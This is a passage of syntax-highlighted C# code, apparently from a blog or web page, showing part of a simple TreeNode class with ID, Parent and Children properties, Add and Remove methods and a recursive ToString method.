<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _ID <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Parent</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _parent; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span> Children</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _children; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> TreeNode(<span style="font-weight: bold; color: blue">string</span> id)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _ID <span style="font-weight: bold; color: #8080c0">=</span> id;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Add(<span style="font-weight: bold; color: #2b91af">TreeNode</span> node)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (<span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (<span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span>();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> node<span style="font-weight: bold; color: #8080c0">.</span>Children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(n);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent<span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> node<span style="font-weight: bold; color: #8080c0">.</span>Children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent<span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(n);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Remove(<span style="font-weight: bold; color: #2b91af">TreeNode</span> node)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Remove(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>ID <span style="font-weight: bold; color: #8080c0">=</span> _children[<span style="color: teal">0</span>]<span style="font-weight: bold; color: #8080c0">.</span>ID;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _children<span style="font-weight: bold; color: #8080c0">.</span>RemoveAt(<span style="color: teal">0</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; n<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">override</span> <span style="font-weight: bold; color: blue">string</span> ToString()</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">StringBuilder</span> sb <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">StringBuilder</span>();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_parent <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(<span style="font-weight: bold; color: blue">string</span><span style="font-weight: bold; color: #8080c0">.</span>Format(<span style="font-weight: bold; color: #a31515">&quot;({0});&quot;</span>, _ID));</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(n<span style="font-weight: bold; color: #8080c0">.</span>ToString());</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">else</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(<span style="font-weight: bold; color: blue">string</span><span style="font-weight: bold; color: #8080c0">.</span>Format(<span style="font-weight: bold; color: #a31515">&quot;{0};&quot;</span>, _ID));</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (_children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">foreach</span> (<span style="font-weight: bold; color: #2b91af">TreeNode</span> n <span style="font-weight: bold; color: blue">in</span> _children)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb<span style="font-weight: bold; color: #8080c0">.</span>Append(n<span style="font-weight: bold; color: #8080c0">.</span>ToString());</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
